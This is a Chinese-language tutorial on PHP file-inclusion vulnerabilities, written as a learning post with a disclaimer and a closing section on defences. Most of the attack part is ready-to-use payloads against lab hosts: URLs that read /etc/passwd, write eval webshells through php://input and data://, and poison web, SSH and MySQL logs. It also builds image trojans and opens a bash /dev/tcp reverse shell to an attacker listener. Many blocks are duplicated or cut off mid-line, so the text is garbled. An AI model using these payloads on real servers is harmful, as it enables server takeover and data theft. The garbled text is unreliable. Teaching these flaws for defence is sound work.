OWASPtop10——文件读写和包含漏洞
本文最后更新于 2024-07-26,文章内容可能已经过时。
文件读写
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、函数
1、文件输入输出流:
(1)fopen(): 打开输入输出流
$f = fopen(文件名,mode)
fopen("a.txt","rw")
mode:
r : 读
w : 写,如果文件不存在,则创建文件
a : 追加写
x : 写,如果文件存在,则返回false
r+ : 读写
w+ : 写读
a+ : 写读
b : 打开二进制文件
t : 打开文本文件
(2) fclose(): 关闭输入输出流
fclose($f);
(3)fgets() : 获取文件内容,按行取值。 一般放在循环中取值
while(!feof($f)){
fgets($f)
}
(4)fread(): 按字节读取文件内容
echo fread($f,1024);
(5)fwrite() : 写入内容:
$f = fopen(文件名,"w"); //执行该代码,立即清空指定文件。如果文件不存在,则创建文件。
fwrite($f,内容);
fclose($f);
(6)fseek() 移动光标
$f = fopen("3.txt","a+");
fwrite($f,"hello woniu\r\n");
fseek($f,0); //将光标移动到文件最开始位置。
echo fread($f,1024);
fclose($f);
(7)fgetc读取一个字符
$fr=fopen("1.txt","r");
$fw=fopen("2.txt","a+");
fseek($fr,3);//把光标移动到位置3
while(!feof($fr)){
fwrite($fw,fgetc($fr));
}
fclose($fr);
fclose($fw);
(8)file_get_contents(): 从指定文件中获取内容
echo file_get_contents(文件名)
(9)file_put_contents(): 向指定文件写入内容
file_put_contents(文件名,内容); //默认为w模式
file_put_contents(文件名,内容,FILE_APPEND); //追加模式写入内容
文件包含漏洞
一、概述
在php中,几个包含函数,都可能存在任意文件读操作。
1、函数:
include
inclue_once
require
require_once
如果文件包含使用了用户可控输入:
<?php
$content = $_GET['content'];
include $content;
?>
2、文件包含的场景
文件包含使用网站例子:
https://qsvb.net/plugin.php?id=tom_tcpc&site=1&mod=index
- 系统中需要快速发布,动态显示一些页面。
- 有些框架中需要这种功能,因为框架需要适应各种不同的场景。
案例代码:
<?php
include 'dbinfo.php';
$sql = "select label,filename from tb_files";
$result = mysqli_query($conn,$sql);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
ul {
list-style-type: none;
padding: 0; /* 去除默认的padding */
margin: 0; /* 去除默认的margin */
}
ul li {
display: inline-block;
margin-right: 10px; /* 设置间距 */
}
</style>
<script>
function show(inf){
document.getElementById("infile").value=inf;
document.forms[0].submit();
// console.log(document.forms[0]);
}
</script>
</head>
<body>
<ul>
<?php
while($rows = mysqli_fetch_assoc($result)){
?>
<li><a href=javascript:show("<?=$rows['filename']?>")><?=$rows['label']?></a></li>
<?php
}
?>
</ul>
<div id="content">
<?php
$infilename = @$_GET['infile'];
if(isset($infilename)){
include $infilename;
}
?>
</div>
<form id="su">
<input type="hidden" name="infile" id="infile">
</form>
</body>
</html>
<?php
mysqli_close($conn);
?>
<?php
$submit = @$_POST['submit'];
if(isset($submit)){
$label = $_POST['label'];
$filename = $_FILES['phpfile']['name'];
$tmpfile = $_FILES['phpfile']['tmp_name'];
move_uploaded_file($tmpfile,$filename);
include 'dbinfo.php';
mysqli_set_charset($conn,'utf8');
$sql = "insert into tb_files(label,filename)
values ('$label','$filename') ";
$result = mysqli_query($conn,$sql);
if($result){
echo "success";
}else{
echo "fail";
}
mysqli_close($conn);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件发布</title>
</head>
<body>
<form action="pushfile.php" method="post" enctype="multipart/form-data">
<p>标签名:<input type="text" name="label"></p>
<p>文件:<input type="file" name="phpfile"></p>
<p><input type="submit" name="submit"></p>
</form>
</body>
</html>
CREATE TABLE `tb_files` (
`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',
`label` varchar(255) DEFAULT NULL,
`filename` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4;
CREATE TABLE `tb_files` (
`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',
`label` varchar(255) DEFAULT NULL,
`filename` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4;
CREATE TABLE `tb_files` (
`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',
`label` varchar(255) DEFAULT NULL,
`filename` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4;
3、本地文件包含:
那么,给被包含文件传参数需要使用&在url中,例如&name=zhangsan是传给page3.php的参数
http://192.168.152.128/prepare/testinclude.php?f=page3.php&name=zhangsan
5)图片木马
制作图片马:
在linux中,把?php phpinfo();? 保存在info.php,然后找一张图片,1.jpg放在同一个目录
cat info.php >> 1.jpg,把php代码放在图片后面。
http://192.168.152.128/prepare/testinclude.php?f=1.jpg发现可以phpinfo();在图片后面被执行了,打印出了系统的一些信息
在windows系统中:用如下命令制作图片马:
copy 图片/B + 文件/A 新图片名字
制作gif类型的图片马:
新建一个文件:将扩展名改为gif
编辑该文件:输入内容
GIF89A
?php eval($_POST['code']);?
">
1)包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=/etc/passwd
2)包含图片文件
http://192.168.152.128/prepare/testinclude.php?f=../0.jpg
3)包含php等可执行文件(最后展示的是执行的结果,而不是php的源码)
http://192.168.152.128/prepare/testinclude.php?f=page3.php
4)如果被包含的文件中需要参数,例如:page3.php的代码如下:
<?php
echo
```php
1)包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=/etc/passwd
2)包含图片文件
http://192.168.152.128/prepare/testinclude.php?f=../0.jpg
3)包含php等可执行文件(最后展示的是执行的结果,而不是php的源码)
http://192.168.152.128/prepare/testinclude.php?f=page3.php
4)如果被包含的文件中需要参数,例如:page3.php的代码如下:
<?php
echo "hello " . $_GET['name'];
?>
那么,给被包含文件传参数需要使用&在url中,例如&name=zhangsan是传给page3.php的参数
http://192.168.152.128/prepare/testinclude.php?f=page3.php&name=zhangsan
5)图片木马
制作图片马:
在linux中,把<?php phpinfo();?> 保存在info.php,然后找一张图片,1.jpg放在同一个目录
cat info.php >> 1.jpg,把php代码放在图片后面。
http://192.168.152.128/prepare/testinclude.php?f=1.jpg发现可以phpinfo();在图片后面被执行了,打印出了系统的一些信息
在windows系统中:用如下命令制作图片马:
copy 图片/B + 文件/A 新图片名字
制作gif类型的图片马:
新建一个文件:将扩展名改为gif
编辑该文件:输入内容
GIF89A
<?php eval($_POST['code']);?>
```php
1)包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=/etc/passwd
2)包含图片文件
http://192.168.152.128/prepare/testinclude.php?f=../0.jpg
3)包含php等可执行文件(最后展示的是执行的结果,而不是php的源码)
http://192.168.152.128/prepare/testinclude.php?f=page3.php
4)如果被包含的文件中需要参数,例如:page3.php的代码如下:
<?php
echo
4、远程文件包含:
那么需要这样来传递参数给page3.php
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php?name=zhangsan%26age=19
">
在/opt/lampp/etc/php.ini中,把两个参数的值修改为如下,打开两个开关
allow_url_include=On
allow_url_fopen=On
1)远程包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/a.txt
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/../applications.html
2)远程包含php文件(注意php文件是先在被包含的服务器上执行,把结果远程包含)
例如:有个page3.php的页面在远程服务器,代码如下:
<?php
phpinfo();//打印php文件所在的服务器的一些信息
?>
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php
这样我们看到的就不是被攻击者上的phpinfo()信息,要想看到被攻击者服务器上的信息,我们不能把被包含的远程文件命名为php类型的,可以是txt类型,但是里面是php代码:
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt
page3.txt的内容如下:
<?php
phpinfo();//打印php文件所在的服务器的一些信息
?>
此时phpinfo();代码会先被包含的被害者的服务器上,再进行执行php代码,这样就看到了被害者机器的phpinfo()打印的信息;
3)远程包含php文件,并且远程的php文件需要参数,那么是用?,如果有多个参数,那么参数之间要使用%26隔开
例如:远程被包含的page3.php代码是:
<?php
echo
```php
在/opt/lampp/etc/php.ini中,把两个参数的值修改为如下,打开两个开关
allow_url_include=On
allow_url_fopen=On
1)远程包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/a.txt
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/../applications.html
2)远程包含php文件(注意php文件是先在被包含的服务器上执行,把结果远程包含)
例如:有个page3.php的页面在远程服务器,代码如下:
<?php
phpinfo();//打印php文件所在的服务器的一些信息
?>
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php
这样我们看到的就不是被攻击者上的phpinfo()信息,要想看到被攻击者服务器上的信息,我们不能把被包含的远程文件命名为php类型的,可以是txt类型,但是里面是php代码:
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt
page3.txt的内容如下:
<?php
phpinfo();//打印php文件所在的服务器的一些信息
?>
此时phpinfo();代码会先被包含的被害者的服务器上,再进行执行php代码,这样就看到了被害者机器的phpinfo()打印的信息;
3)远程包含php文件,并且远程的php文件需要参数,那么是用?,如果有多个参数,那么参数之间要使用%26隔开
例如:远程被包含的page3.php代码是:
<?php
echo "hello ".$_GET['name'].",age is ".$_GET['age'];
?>
那么需要这样来传递参数给page3.php
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php?name=zhangsan%26age=19
```php
在/opt/lampp/etc/php.ini中,把两个参数的值修改为如下,打开两个开关
allow_url_include=On
allow_url_fopen=On
1)远程包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/a.txt
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/../applications.html
2)远程包含php文件(注意php文件是先在被包含的服务器上执行,把结果远程包含)
例如:有个page3.php的页面在远程服务器,代码如下:
<?php
phpinfo();//打印php文件所在的服务器的一些信息
?>
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php
这样我们看到的就不是被攻击者上的phpinfo()信息,要想看到被攻击者服务器上的信息,我们不能把被包含的远程文件命名为php类型的,可以是txt类型,但是里面是php代码:
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt
page3.txt的内容如下:
<?php
phpinfo();//打印php文件所在的服务器的一些信息
?>
此时phpinfo();代码会先被包含的被害者的服务器上,再进行执行php代码,这样就看到了被害者机器的phpinfo()打印的信息;
3)远程包含php文件,并且远程的php文件需要参数,那么是用?,如果有多个参数,那么参数之间要使用%26隔开
例如:远程被包含的page3.php代码是:
<?php
echo
注意:远程包含php文件的时候,php文件是先在远程服务器上执行,然后把结果包含进来
注意:如果没有开启,看到类似的警告,不能够做远程文件包含:
二、伪协议
各种伪协议使用的前提条件:
伪协议 | allow_url_fopen | allow_url_include |
---|---|---|
php://filter | on/off | on |
php://input | on/off | on |
data:// | on | on |
zip:// | on/off | on/off |
phar:// | on/off | on/off |
1、php:// 输入/输出流
```php
1)php://filter
以base64的格式显示输出,可以获取php文件的源代码,php代码不会被执行。
注意:返回的php源码被使用base64转码,需要再一次转回成普通编码格式才能阅读
http://192.168.152.128/prepare/testinclude.php?f=php://filter/read=convert.base64-encode/resource=page3.php
2)php://input 从post请求体中获取全部内容。
注意:如果请求的内容中包含有php的代码,那么php的代码会被执行。
----写入一句话木马
http://192.168.152.128/prepare/testinclude.php?f=php://input
post正文:(注意eval中的php代码要分成两个字符串拼接,否则就会直接被执行,不会写入到文件了)
这段代码写入了一句话木马到服务器:
<?php file_put_contents('/opt/lampp/htdocs/prepare/mm.php','<?php eval($_'.'POST[code]);?>')?>
----读取任意文件
http://192.168.152.128/prepare/testinclude.php?f=php://input
post正文:
<?php echo file_get_contents('/etc/passwd')?>
2、data:// 只能接收get请求数据,把用户输入的内容显示在页面上,如果输入内容中含有php代码,会被执行
```php
//显示普通文本
http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,helloworld
//执行php代码
http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,<?php%20phpinfo();?>
//写入一句话木马
http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,<?php file_put_contents("/opt/lampp/htdocs/prepare/muma1.php","<?php eval($"."_POST['code'])?>"); ?>
//反弹shell
注意:bashshell中的&需要转码成%26
http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.152.129/4444 0>%261"); ?>
此时就可以在攻击者的shell窗口操作命令控制被攻击的主机了。
退出使用exit命令3、phar:// 读取压缩文件中的文件:
```
```php
安装zip工具
yum install -y zip
创建一个phpinfo.php 内容是:
<?php phpinfo();?>
把phpinfo.php 添加到压缩文件中:
zip info.zip phpinfo.php
访问压缩文件中的php文件
http://192.168.152.128/prepare/testinclude.php?f=phar:///opt/lampp/htdocs/prepare/info.zip/phpinfo.php
读压缩文件里面的任意文件,不区分扩展名。上面的请求获取到了info.zip压缩文件中的phpinfo.php并执行
另外,如果在压缩文件里面有多层文件加,那么需要把文件加名称也加到访问路劲里:
phar:///opt/lampp/htdocs/prepare/info.zip/文件夹1/文件夹2/phpinfo.php
注意:这里的压缩文件的扩展名不一定非要zip,tar.gz这些,可以是任何扩展名,例如jpg,png,只要是压缩文件就可以。例如我们把刚才的info.zip改为info.png,再次访问一下,发现依然可以执行成功
http://192.168.152.128/prepare/testinclude.php?f=phar:///opt/lampp/htdocs/prepare/info.png/phpinfo.php
下面是多级目录的例子
http://192.168.152.128/prepare/testinclude.php?f=phar:///opt/lampp/htdocs/prepare/infos.jpg/t1/t2/phpinfo.php
```
4、zip:// 跟phar类似,但是功能少弱一些:
```php
1.压缩文件与文件之间必须使用%23,不能使用/
2.压缩文件只能是单级目录,不能有多级目录
http://192.168.152.128/prepare/testinclude.php?f=zip:///opt/lampp/htdocs/prepare/info.png%23phpinfo.php
```
### 三、各种日志文件包含
1、web服务器日志的文件包含:/opt/lampp/logs/access_log
```php
1.将一句话木马写入日志文件:
在浏览器访问地址
http://192.168.152.128/prepare/testinclude.php?f=<?php eval($_POST[code]);?>
通过抓包(burp)工具,拦截请求。把url被编码的字符<,空格,> 都被url编码了,需要改成原来的<,>和空格,保证写入到access_log日志文件中的是可执行的php代码
2.利用文件包含访问日志文件:
http://192.168.152.128/prepare/testinclude.php?f=/opt/lampp/logs/access_log
post正文:
code=phpinfo();
2、SSH登录日志利用:
1.日志文件:/var/log/secure
2.windows cmd命令提示符输入: ssh '<?php eval($_POST[code]);?>'@192.168.32.129
3.日志记录:
Nov 16 16:34:52 localhost sshd[8629]: Invalid user <?php eval($_POST[code]);?> from 192.168.32.1 port 51151
payload:
http://192.168.32.129/secure21/php/includedemo.php?content=/var/log/secure
post正文:
code=phpinfo();
cmd
1.日志文件:/var/log/secure
2.windows cmd命令提示符输入: ssh '<?php eval($_POST[code]);?>'@192.168.32.129
3.日志记录:
Nov 16 16:34:52 localhost sshd[8629]: Invalid user <?php eval($_POST[code]);?> from 192.168.32.1 port 51151
payload:
http://192.168.32.129/secure21/php/includedemo.php?content=/var/log/secure
post正文:
code=phpinfo();
1.日志文件:/var/log/secure
2.windows cmd命令提示符输入: ssh '<?php eval($_POST[code]);?>'@192.168.32.129
3.日志记录:
Nov 16 16:34:52 localhost sshd[8629]: Invalid user <?php eval($_POST[code]);?> from 192.168.32.1 port 51151
payload:
http://192.168.32.129/secure21/php/includedemo.php?content=/var/log/secure
post正文:
code=phpinfo();
3、mysql日志:
```sql
1.开启方式:my.cnf或my.ini 添加三个参数
log-output=FILE
general-log=1
general_log_file=xxxx.log
2.写入:在navicat 输入:select "<?php phpinfo();?>"
3.请求url
http://localhost/hz02/posts/test.php?f=C:/ProgramData/MySQL/MySQL Server 5.7/Data/PC201904210943T.log
四、反弹shell
将存在漏洞的项目所在操作系统的命令交互放到攻击者本地:
1.kali: 攻击者系统 ,开启监听
nc -lvp 4444
nc -lvp 4444
```bash
nc -lvp 4444
2.反弹命令:在被操控的系统中执行命令
bash -i >& /dev/tcp/ip/port 0>&1
bash -i >& /dev/tcp/ip/port 0>&1
bash -i >& /dev/tcp/ip/port 0>&1
3.在文件包含漏洞页面使用反弹:(注意要把&编码为%26)
%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?>
">```bash
http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,
五、文件包含防御
1、文件包含不要使用变量传入被包含的文件,直接写死文件名,也就是说被包含的文件名不能是用户指定的。(这种方式就没办法绕过了)
使用这种形式:include 'dbinfo.php';
不要使用这种形式:include $_GET['f'];
2、可以根据传入的变量,指定被包含的文件(这种方式就没办法绕过了)
if($id==1){
include 'aa.php';
}
if($id==2){
include 'bb.php';
}
if($id==1){
include 'aa.php';
}
if($id==2){
include 'bb.php';
}
3、指定被包含文件的前缀路径
include '/opt/lampp/htdocs/hz02/posts/upload/'.$_GET['f'];
这种方式可以通过目录穿越绕过,例如:
要是想包含/etc/passwd文件,如果直接访问192.168.80.128/hz02/posts/includephp.php?f=/etc/passwd
此时会报错,因为传入的/etc/passwd前面会被加上路径'/opt/lampp/htdocs/hz02/posts/upload/etc/passwd,这样反而不能访问到/etc/passwd,此时我们采用目录穿越的方式,前面增加任意多个../,尽量多加一点,这样可以抵消路径前缀中的父目录层级数量
例如:
192.168.80.128/hz02/posts/includephp.php?f=../../../../../../../../../../../etc/passwd
要是想包含/etc/passwd文件,如果直接访问192.168.80.128/hz02/posts/includephp.php?f=/etc/passwd
此时会报错,因为传入的/etc/passwd前面会被加上路径'/opt/lampp/htdocs/hz02/posts/upload/etc/passwd,这样反而不能访问到/etc/passwd,此时我们采用目录穿越的方式,前面增加任意多个../,尽量多加一点,这样可以抵消路径前缀中的父目录层级数量
例如:
192.168.80.128/hz02/posts/includephp.php?f=../../../../../../../../../../../etc/passwd
要是想包含/etc/passwd文件,如果直接访问192.168.80.128/hz02/posts/includephp.php?f=/etc/passwd
此时会报错,因为传入的/etc/passwd前面会被加上路径'/opt/lampp/htdocs/hz02/posts/upload/etc/passwd,这样反而不能访问到/etc/passwd,此时我们采用目录穿越的方式,前面增加任意多个../,尽量多加一点,这样可以抵消路径前缀中的父目录层级数量
例如:
192.168.80.128/hz02/posts/includephp.php?f=../../../../../../../../../../../etc/passwd
4、指定文件的后缀名
//给传入的参数增加了.jpg 的后缀名称
include $_GET['f'].".jpg"
这个防御方式也有办法进行绕过
1、如果是本地文件包含,可以使用phar://伪协议绕过
首先,制作一个图片马,例如名字叫tupian_muma.jpg,里面含有代码<?php phpinfo();?>
然后,把这个图片马制作成压缩文件muma.zip
访问的url是:
http://192.168.80.128/hz02/posts/upload/finclude.php?f=phar:////opt/lampp/htdocs/hz02/posts/upload/muma.zip/tupian_muma
可以看出最后我们没有扩展名,只是写了tupian_muma,这样在include的时候,就会拼接上后面的.jpg,所以实际上访问的就是muma.zip这个压缩文件中的图片马文件tupian_muma.jpg。
2、如果是网络文件包含,可以采取?方式绕过
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt?a=1
攻击者服务器是192.168.1.27,page3.txt的内容如下:
<?php phpinfo();?>
可以看出a=1被认为是传给page3.txt的参数了,结果拼接在include之后就是
http://192.168.1.27/prepare/page3.txt?a=1.jpg
其实,被远程包含的文件还是http://192.168.1.27/prepare/page3.txt
同时指定前缀路径和后缀扩展名,只有巧合的时候才能绕过,即:文件或图片上传的路径正好在前缀路径中或子目录里,后缀名和上传文件的扩展名一样。所以,这种情况基本算是不能绕过。
5、禁用敏感函数
在php.ini 中设置disable_functions禁用system,exec等敏感函数
- 感谢你赐予我前进的力量